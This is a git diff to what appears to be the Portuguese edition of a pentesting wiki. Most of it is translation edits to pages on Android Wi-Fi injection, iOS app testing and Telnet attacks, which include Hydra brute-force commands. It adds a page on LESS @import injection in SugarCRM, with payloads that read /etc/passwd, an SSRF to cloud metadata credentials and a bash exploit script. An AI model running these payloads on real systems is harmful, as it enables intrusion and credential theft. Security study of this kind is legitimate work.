diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 93b6e3273..b260a5217 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -544,6 +544,7 @@ # 🕸️ Pentesting Web +- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md) - [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md) - [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) - [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md) diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md index e2b07f129..e7d6c46e6 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} ## Visão Geral -A maioria dos telefones Android modernos incorpora um chipset Wi-Fi Broadcom/Cypress que é enviado sem modo monitor 802.11 ou capacidades de injeção de quadros. O framework de código aberto NexMon modifica o firmware proprietário para adicionar esses recursos e os expõe através de uma biblioteca compartilhada (`libnexmon.so`) e um helper CLI (`nexutil`). Ao pré-carregar essa biblioteca no driver Wi-Fi padrão, um dispositivo com root pode capturar tráfego 802.11 bruto e injetar quadros arbitrários – eliminando a necessidade de um adaptador USB externo. +A maioria dos telefones Android modernos incorpora um chipset Wi-Fi Broadcom/Cypress que é enviado sem modo monitor 802.11 ou capacidades de injeção de quadros. O framework de código aberto NexMon modifica o firmware proprietário para adicionar esses recursos e os expõe através de uma biblioteca compartilhada (`libnexmon.so`) e um helper CLI (`nexutil`). Ao pré-carregar essa biblioteca no driver Wi-Fi padrão, um dispositivo com root pode capturar tráfego bruto 802.11 e injetar quadros arbitrários – eliminando a necessidade de um adaptador USB externo. Esta página documenta um fluxo de trabalho rápido que usa um Samsung Galaxy S10 totalmente corrigido (BCM4375B1) como exemplo, utilizando: @@ -22,13 +22,13 @@ A mesma técnica se aplica a qualquer dispositivo que tenha um patch NexMon disp * ZIP Magisk NexMon ou patch auto-compilado fornecendo: * `/system/lib*/libnexmon.so` * `/system/xbin/nexutil` -* Hijacker ≥ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker +* Hijacker ≥ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker) * (Opcional) Kali NetHunter ou qualquer chroot Linux onde você pretende executar ferramentas sem fio --- ## Flashing o patch NexMon (Magisk) -1. Baixe o ZIP para o seu dispositivo/firmware exato (exemplo: `nexmon-s10.zip`). +1. Baixe o ZIP para seu dispositivo/firmware exato (exemplo: `nexmon-s10.zip`). 2. Abra o Magisk -> Módulos -> Instalar do armazenamento -> selecione o ZIP e reinicie. O módulo copia `libnexmon.so` para `/data/adb/modules//lib*/` e garante que os rótulos SELinux estejam corretos. 3. Verifique a instalação: @@ -104,9 +104,9 @@ Como o firmware já lida com a injeção de radiotap, as ferramentas de espaço ## Ataques Típicos Possíveis Uma vez que monitor + TX está ativo, você pode: * Capturar handshakes WPA(2/3-SAE) ou PMKID com `wifite`, `hcxdumptool`, `airodump-ng`. -* Injetar quadros de desautenticação / desassociação para forçar clientes a reconectar. +* Injetar quadros de desautenticação / desassociação para forçar os clientes a reconectar. * Criar quadros de gerenciamento/dados arbitrários com `mdk4`, `aireplay-ng`, Scapy, etc. -* Construir APs falsos ou realizar ataques KARMA/MANA diretamente do telefone. +* Construir APs maliciosos ou realizar ataques KARMA/MANA diretamente do telefone. O desempenho no Galaxy S10 é comparável a NICs USB externos (~20 dBm TX, 2-3 M pps RX). @@ -114,7 +114,7 @@ O desempenho no Galaxy S10 é comparável a NICs USB externos (~20 dBm TX, 2-3 M ## Solução de Problemas * `Device or resource busy` – certifique-se de que o **serviço Wi-Fi do Android está desativado** (`svc wifi disable`) antes de ativar o modo monitor. -* `nexutil: ioctl(PRIV_MAGIC) failed` – a biblioteca não está pré-carregada; verifique o caminho de `LD_PRELOAD`. +* `nexutil: ioctl(PRIV_MAGIC) failed` – a biblioteca não está pré-carregada; verifique novamente o caminho `LD_PRELOAD`. * A injeção de quadros funciona, mas nenhum pacote capturado – alguns ROMs bloqueiam canais; tente `nexutil -c ` ou `iwconfig wlan0 channel `. * SELinux bloqueando a biblioteca – defina o dispositivo como *Permissivo* ou corrija o contexto do módulo: `chcon u:object_r:system_lib_file:s0 libnexmon.so`. diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index b50973eb8..7afc3a23f 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Main idea +## Ideia principal Aplicativos assinados com a **entitlement `get_task_allow`** permitem que aplicativos de terceiros executem uma função chamada **`task_for_pid()`** com o ID do processo do aplicativo inicial como argumento para obter a porta da tarefa sobre ele (ser capaz de controlá-lo e acessar sua memória). @@ -10,20 +10,20 @@ No entanto, não é tão fácil quanto apenas puxar o IPA, re-assiná-lo com a e Com um dispositivo antigo com jailbreak, é possível instalar o IPA, **descriptografá-lo usando sua ferramenta favorita** (como Iridium ou frida-ios-dump) e retirá-lo do dispositivo. Embora, se possível, é recomendável pedir ao cliente o IPA descriptografado. -## Obtain decrypted IPA +## Obter IPA descriptografado -### Get it from Apple +### Obtenha da Apple 1. Instale o aplicativo para pentest no iPhone -2. Instale e inicie [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) no seu macos +2. Instale e inicie o [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) no seu macos 3. Abra o `Terminal` no seu Mac e cd para `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. O IPA aparecerá nesta pasta mais tarde. 4. Você deve ver seu dispositivo iOS. Clique duas vezes nele e, em seguida, clique em Adicionar + → Apps na barra de menu superior. -5. Após clicar em Adicionar, o Configurator fará o download do IPA da Apple e tentará enviá-lo para o seu dispositivo. Se você seguiu minha recomendação anterior e já instalou o IPA, um aviso pedindo para reinstalar o aplicativo aparecerá. +5. Após clicar em Adicionar, o Configurator fará o download do IPA da Apple e tentará enviá-lo para o seu dispositivo. Se você seguiu minha recomendação anterior e já instalou o IPA, um prompt pedindo para reinstalar o aplicativo aparecerá. 6. O IPA deve ser baixado dentro de `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, de onde você pode pegá-lo. -Verifique [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) para mais informações detalhadas sobre este processo. +Verifique [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) para mais informações detalhadas sobre esse processo. -### Decrypting the app +### Descriptografando o aplicativo Para descriptografar o IPA, vamos instalá-lo. No entanto, se você tiver um iPhone antigo com jailbreak, potencialmente sua versão não será suportada pelo aplicativo, pois geralmente os aplicativos só suportam as versões mais recentes. @@ -49,7 +49,7 @@ Uma vez instalado, você pode usar o **Iridium tweak** do Cydia para obter o IPA ### Patch de permissões & re-assinatura -Para re-assinar o aplicativo com a permissão `get-task-allow`, existem várias ferramentas disponíveis, como `app-signer`, `codesign` e `iResign`. O `app-signer` tem uma interface muito amigável que permite re-assinar facilmente um arquivo IPA, indicando o IPA a ser re-assinado, para **colocá-lo como `get-task-allow`** e o certificado e perfil de provisionamento a serem usados. +Para re-assinar o aplicativo com a permissão `get-task-allow`, existem várias ferramentas disponíveis, como `app-signer`, `codesign` e `iResign`. O `app-signer` tem uma interface muito amigável que permite re-assinar um arquivo IPA de forma muito fácil, indicando o IPA a ser re-assinado, para **colocá-lo como `get-task-allow`** e o certificado e perfil de provisionamento a serem usados. Quanto ao certificado e perfis de assinatura, a Apple oferece **perfis de assinatura de desenvolvedor gratuitos** para todas as contas através do Xcode. Basta criar um aplicativo e configurar um. Em seguida, configure o **iPhone para confiar nos aplicativos do desenvolvedor** navegando até `Settings` → `Privacy & Security`, e clique em `Developer Mode`. @@ -61,22 +61,22 @@ ideviceinstaller -i resigned.ipa -w ### Ativar Modo Desenvolvedor (iOS 16+) -Desde o iOS 16, a Apple introduziu o **Modo Desenvolvedor**: qualquer binário que contenha `get_task_allow` *ou* que seja assinado com um certificado de desenvolvimento se recusará a iniciar até que o Modo Desenvolvedor esteja ativado no dispositivo. Você também não poderá anexar Frida/LLDB a menos que essa opção esteja ativada. +Desde o iOS 16, a Apple introduziu o **Modo Desenvolvedor**: qualquer binário que carregue `get_task_allow` *ou* que seja assinado com um certificado de desenvolvimento se recusará a iniciar até que o Modo Desenvolvedor esteja ativado no dispositivo. Você também não poderá anexar Frida/LLDB a menos que essa flag esteja ativada. 1. Instale ou envie **qualquer** IPA assinada por desenvolvedor para o telefone. 2. Navegue até **Ajustes → Privacidade e Segurança → Modo Desenvolvedor** e ative-o. 3. O dispositivo será reiniciado; após inserir o código de acesso, você será solicitado a **Ativar** o Modo Desenvolvedor. -O Modo Desenvolvedor permanece ativo até que você o desative ou limpe o telefone, então esta etapa precisa ser realizada apenas uma vez por dispositivo. [Documentação da Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explica as implicações de segurança. +O Modo Desenvolvedor permanece ativo até que você o desative ou limpe o telefone, então este passo só precisa ser realizado uma vez por dispositivo. [A documentação da Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explica as implicações de segurança. ### Opções modernas de sideloading -Agora existem várias maneiras maduras de fazer sideload e manter IPAs re-assinados atualizados sem jailbreak: +Agora existem várias maneiras maduras de sideload e manter IPAs re-assinadas atualizadas sem jailbreak: | Ferramenta | Requisitos | Forças | Limitações | |------------|------------|--------|------------| | **AltStore 2 / SideStore** | Companheiro macOS/Windows/Linux que re-assina a IPA a cada 7 dias com um perfil de desenvolvedor gratuito | Recarga automática via Wi-Fi, funciona até iOS 17 | Necessita de computador na mesma rede, limite de 3 aplicativos imposto pela Apple | -| **TrollStore 1/2** | Dispositivo com iOS 14 – 15.4.1 vulnerável ao bug do CoreTrust | Assinatura *permanente* (sem limite de 7 dias); nenhum computador necessário uma vez instalado | Não suportado no iOS 15.5+ (bug corrigido) | +| **TrollStore 1/2** | Dispositivo em iOS 14 – 15.4.1 vulnerável ao bug do CoreTrust | Assinatura *permanente* (sem limite de 7 dias); nenhum computador necessário uma vez instalado | Não suportado em iOS 15.5+ (bug corrigido) | Para pentests rotineiros em versões atuais do iOS, Alt/Side-Store geralmente são a escolha mais prática. @@ -94,7 +94,7 @@ Recentes lançamentos do Frida (>=16) lidam automaticamente com a autenticação ### Análise dinâmica automatizada com MobSF (sem jailbreak) -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) pode instrumentar um IPA assinado por desenvolvedor em um dispositivo real usando a mesma técnica (`get_task_allow`) e fornece uma interface web com navegador de sistema de arquivos, captura de tráfego e console do Frida【†L2-L3】. A maneira mais rápida é executar o MobSF no Docker e, em seguida, conectar seu iPhone via USB: +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) pode instrumentar um IPA assinado por desenvolvedor em um dispositivo real usando a mesma técnica (`get_task_allow`) e fornece uma interface web com navegador de sistema de arquivos, captura de tráfego e console do Frida【】. A maneira mais rápida é executar o MobSF no Docker e, em seguida, conectar seu iPhone via USB: ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ @@ -104,7 +104,7 @@ opensecurity/mobile-security-framework-mobsf:latest ``` MobSF irá implantar automaticamente o binário, habilitar um servidor Frida dentro do sandbox do aplicativo e gerar um relatório interativo. -### iOS 17 & Modo de Bloqueio advertências +### iOS 17 & Modo de Bloqueio considerações * **Modo de Bloqueio** (Configurações → Privacidade & Segurança) bloqueia o vinculador dinâmico de carregar bibliotecas dinâmicas não assinadas ou assinadas externamente. Ao testar dispositivos que podem ter este modo habilitado, certifique-se de que está **desativado** ou suas sessões Frida/objection serão encerradas imediatamente. * A Autenticação de Ponteiros (PAC) é aplicada em todo o sistema em dispositivos A12+. Frida ≥16 lida com a remoção de PAC de forma transparente — apenas mantenha tanto *frida-server* quanto a ferramenta Python/CLI atualizados quando uma nova versão principal do iOS for lançada. diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index 92eeac1d1..ed7010101 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -70,10 +70,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS ### Vulnerabilidades Recentes (2022-2025) * **CVE-2024-45698 – Roteadores D-Link Wi-Fi 6 (DIR-X4860)**: O serviço Telnet embutido aceitava credenciais codificadas e falhou em sanitizar a entrada, permitindo RCE remota não autenticada como root via comandos manipulados na porta 23. Corrigido no firmware ≥ 1.04B05. -* **CVE-2023-40478 – NETGEAR RAX30**: Um estouro de buffer baseado em pilha no comando `passwd` da CLI Telnet permite que um atacante adjacente contorne a autenticação e execute código arbitrário como root. +* **CVE-2023-40478 – NETGEAR RAX30**: Um estouro de buffer baseado em pilha no comando `passwd` do Telnet CLI permite que um atacante adjacente contorne a autenticação e execute código arbitrário como root. * **CVE-2022-39028 – GNU inetutils telnetd**: Uma sequência de dois bytes (`0xff 0xf7` / `0xff 0xf8`) aciona uma desreferência de ponteiro NULL que pode travar o `telnetd`, resultando em um DoS persistente após várias falhas. -Mantenha esses CVEs em mente durante a triagem de vulnerabilidades—se o alvo estiver executando um firmware não corrigido ou um daemon Telnet inetutils legado, você pode ter um caminho direto para execução de código ou um DoS disruptivo. +Mantenha esses CVEs em mente durante a triagem de vulnerabilidades—se o alvo estiver executando um firmware não corrigido ou um daemon Telnet inetutils legado, você pode ter um caminho direto para a execução de código ou um DoS disruptivo. ### Capturando Credenciais & Man-in-the-Middle @@ -87,7 +87,7 @@ tcp.port == 23 && (telnet.data || telnet.option) ``` Para MITM ativo, combine o ARP spoofing (por exemplo, `arpspoof`/`ettercap`) com os mesmos filtros de sniffing para coletar senhas em redes comutadas. -### Força bruta automatizada / Pulverização de senhas +### Força bruta automatizada / Spraying de senhas ```bash # Hydra (stop at first valid login) hydra -L users.txt -P rockyou.txt -t 4 -f telnet:// @@ -109,7 +109,7 @@ O Metasploit possui vários módulos úteis: * `auxiliary/scanner/telnet/telnet_encrypt_overflow` – RCE contra Telnet vulnerável do Solaris 9/10 (manipulação da opção ENCRYPT). * `exploit/linux/mips/netgear_telnetenable` – habilita o serviço telnet com um pacote elaborado em muitos roteadores NETGEAR. -Depois que um shell é obtido, lembre-se de que **TTYs geralmente são simples**; faça upgrade com `python -c 'import pty;pty.spawn("/bin/bash")'` ou use os [truques TTY do HackTricks](/generic-hacking/reverse-shells/full-ttys.md). +Após obter um shell, lembre-se que **TTYs geralmente são simples**; faça upgrade com `python -c 'import pty;pty.spawn("/bin/bash")'` ou use os [tricks TTY do HackTricks](/generic-hacking/reverse-shells/full-ttys.md). ### Fortalecimento & Detecção (canto da equipe azul) @@ -123,4 +123,4 @@ Depois que um shell é obtido, lembre-se de que **TTYs geralmente são simples** * D-Link Advisory – CVE-2024-45698 RCE crítica do Telnet. * NVD – CVE-2022-39028 inetutils `telnetd` DoS. -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/less-code-injection-ssrf.md b/src/pentesting-web/less-code-injection-ssrf.md new file mode 100644 index 000000000..6807cd518 --- /dev/null +++ b/src/pentesting-web/less-code-injection-ssrf.md @@ -0,0 +1,75 @@ +# LESS Code Injection leading to SSRF & Local File Read + +{{#include ../banners/hacktricks-training.md}} + +## Visão Geral + +LESS é um pré-processador CSS popular que adiciona variáveis, mixins, funções e a poderosa diretiva `@import`. Durante a compilação, o mecanismo LESS irá **buscar os recursos referenciados nas declarações `@import`** e embutir ("inline") seus conteúdos no CSS resultante quando a opção `(inline)` é usada. + +Quando uma aplicação concatena **entrada controlada pelo usuário** em uma string que é posteriormente analisada pelo compilador LESS, um atacante pode **injetar código LESS arbitrário**. Ao abusar de `@import (inline)`, o atacante pode forçar o servidor a recuperar: + +* Arquivos locais via o protocolo `file://` (divulgação de informações / Inclusão de Arquivos Locais). +* Recursos remotos em redes internas ou serviços de metadados em nuvem (SSRF). + +Essa técnica foi vista em produtos do mundo real, como **SugarCRM ≤ 14.0.0** (endpoint `/rest/v10/css/preview`). + +## Exploração + +1. Identifique um parâmetro que está diretamente embutido dentro de uma string de folha de estilo processada pelo mecanismo LESS (por exemplo, `?lm=` no SugarCRM). +2. Feche a declaração atual e injetar novas diretivas. Os primitivos mais comuns são: +* `;` – termina a declaração anterior. +* `}` – fecha o bloco anterior (se necessário). +3. Use `@import (inline) '';` para ler recursos arbitrários. +4. Opcionalmente, injetar um **marcador** (`data:` URI) após a importação para facilitar a extração do conteúdo buscado do CSS compilado. + +### Leitura de Arquivos Locais +``` +1; @import (inline) 'file:///etc/passwd'; +@import (inline) 'data:text/plain,@@END@@'; // +``` +O conteúdo de `/etc/passwd` aparecerá na resposta HTTP logo antes do marcador `@@END@@`. + +### SSRF – Metadados da Nuvem +``` +1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; +@import (inline) 'data:text/plain,@@END@@'; // +``` +### PoC Automatizado (exemplo SugarCRM) +```bash +#!/usr/bin/env bash +# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd + +TARGET="$1" # Base URL of SugarCRM instance +RESOURCE="$2" # file:// path or URL to fetch + +INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") + +curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ +sed -n 's/.*@@END@@\(.*\)/\1/p' +``` +## Detecção + +* Procure por respostas `.less` ou `.css` geradas dinamicamente contendo parâmetros de consulta não sanitizados. +* Durante a revisão de código, busque construções como `"@media all { .preview { ... ${userInput} ... } }"` passadas para funções de renderização LESS. +* Tentativas de exploração frequentemente incluem `@import`, `(inline)`, `file://`, `http://169.254.169.254`, etc. + +## Mitigações + +* Não passe dados não confiáveis para o compilador LESS. +* Se valores dinâmicos forem necessários, escape/sanitize-os adequadamente (por exemplo, restrinja a tokens numéricos, listas brancas). +* Desative, quando possível, a capacidade de usar imports `(inline)`, ou limite os protocolos permitidos a `https`. +* Mantenha as dependências atualizadas – SugarCRM corrigiu esse problema nas versões 13.0.4 e 14.0.1. + +## Casos do Mundo Real + +| Produto | Endpoint Vulnerável | Impacto | +|---------|---------------------|---------| +| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | SSRF não autenticado & leitura de arquivo local | + +## Referências + +* [SugarCRM ≤ 14.0.0 (css/preview) Vulnerabilidade de Injeção de Código LESS](https://karmainsecurity.com/KIS-2025-04) +* [Aviso de Segurança do SugarCRM SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) +* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md index 551aac6a5..40b0c7aa9 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md @@ -4,4 +4,10 @@ Verifique **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** +- SugarCRM ≤ 14.0.0 – Injeção de LESS `@import` em `/rest/v10/css/preview` permite SSRF não autenticado e leitura de arquivos locais. + +{{#ref}} +../less-code-injection-ssrf.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}}